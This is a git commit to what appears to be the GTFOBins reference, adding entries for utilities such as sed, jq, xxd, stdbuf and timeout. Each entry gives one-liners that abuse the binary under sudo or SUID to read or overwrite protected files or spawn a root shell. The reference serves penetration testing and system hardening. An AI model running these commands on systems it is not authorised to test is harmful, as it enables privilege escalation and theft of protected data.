Add expand, unexpand

This commit is contained in:
Dov Murik 2018-06-12 14:06:16 +00:00 committed by Emilio Pinna
parent 4b11771fec
commit 69465eb338
12 changed files with 178 additions and 0 deletions

17
_gtfobins/expand.md Normal file
View File

@ -0,0 +1,17 @@
---
description: |
The read file content is corrupted by replacing tabs with spaces.
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo expand "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./expand "$LFILE"
file-read:
- code: |
LFILE=file_to_read
expand "$LFILE"
---

17
_gtfobins/fmt.md Normal file
View File

@ -0,0 +1,17 @@
---
description: |
The read file content is not binary-safe.
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo fmt -pNON_EXISTING_PREFIX "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./fmt -pNON_EXISTING_PREFIX "$LFILE"
file-read:
- code: |
LFILE=file_to_read
fmt -pNON_EXISTING_PREFIX "$LFILE"
---

15
_gtfobins/fold.md Normal file
View File

@ -0,0 +1,15 @@
---
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo fold -w99999999 "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./fold -w99999999 "$LFILE"
file-read:
- code: |
LFILE=file_to_read
fold -w99999999 "$LFILE"
---

15
_gtfobins/head.md Normal file
View File

@ -0,0 +1,15 @@
---
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo head -c1G "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./head -c1G "$LFILE"
file-read:
- code: |
LFILE=file_to_read
head -c1G "$LFILE"
---

15
_gtfobins/jq.md Normal file
View File

@ -0,0 +1,15 @@
---
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo jq -Rr . "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./jq -Rr . "$LFILE"
file-read:
- code: |
LFILE=file_to_read
jq -Rr . "$LFILE"
---

15
_gtfobins/sed.md Normal file
View File

@ -0,0 +1,15 @@
---
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo sed -e '' "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./sed -e '' "$LFILE"
file-read:
- code: |
LFILE=file_to_read
sed -e '' "$LFILE"
---

17
_gtfobins/shuf.md Normal file
View File

@ -0,0 +1,17 @@
---
description: The read file content is corrupted by adding a newline.
functions:
sudo-enabled:
- code: |
LFILE=file_to_write
sudo shuf -e data -o "$LFILE"
suid-enabled:
- description:
code: |
LFILE=file_to_write
./shuf -e data -o "$LFILE"
file-write:
- code: |
LFILE=file_to_write
shuf -e data -o "$LFILE"
---

9
_gtfobins/stdbuf.md Normal file
View File

@ -0,0 +1,9 @@
---
functions:
execute-interactive:
- code: stdbuf -i0 /bin/sh
sudo-enabled:
- code: sudo stdbuf -i0 /bin/sh
suid-enabled:
- code: ./stdbuf -i0 /bin/sh -p
---

15
_gtfobins/tail.md Normal file
View File

@ -0,0 +1,15 @@
---
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo tail -c1G "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./tail -c1G "$LFILE"
file-read:
- code: |
LFILE=file_to_read
tail -c1G "$LFILE"
---

9
_gtfobins/timeout.md Normal file
View File

@ -0,0 +1,9 @@
---
functions:
execute-interactive:
- code: timeout 7d /bin/sh
sudo-enabled:
- code: sudo timeout --foreground 7d /bin/sh
suid-enabled:
- code: ./timeout 7d /bin/sh -p
---

15
_gtfobins/unexpand.md Normal file
View File

@ -0,0 +1,15 @@
---
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo unexpand -t99999999 "$LFILE"
suid-enabled:
- code: |
LFILE=file_to_read
./unexpand -t99999999 "$LFILE"
file-read:
- code: |
LFILE=file_to_read
unexpand -t99999999 "$LFILE"
---

19
_gtfobins/xxd.md Normal file
View File

@ -0,0 +1,19 @@
---
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo xxd "$LFILE" | xxd -r
suid-enabled:
- code: |
LFILE=file_to_read
./xxd "$LFILE" | xxd -r
file-read:
- code: |
LFILE=file_to_read
xxd "$LFILE" | xxd -r
file-write:
- code: |
LFILE=file_to_write
echo data | xxd | xxd -r - "$LFILE"
---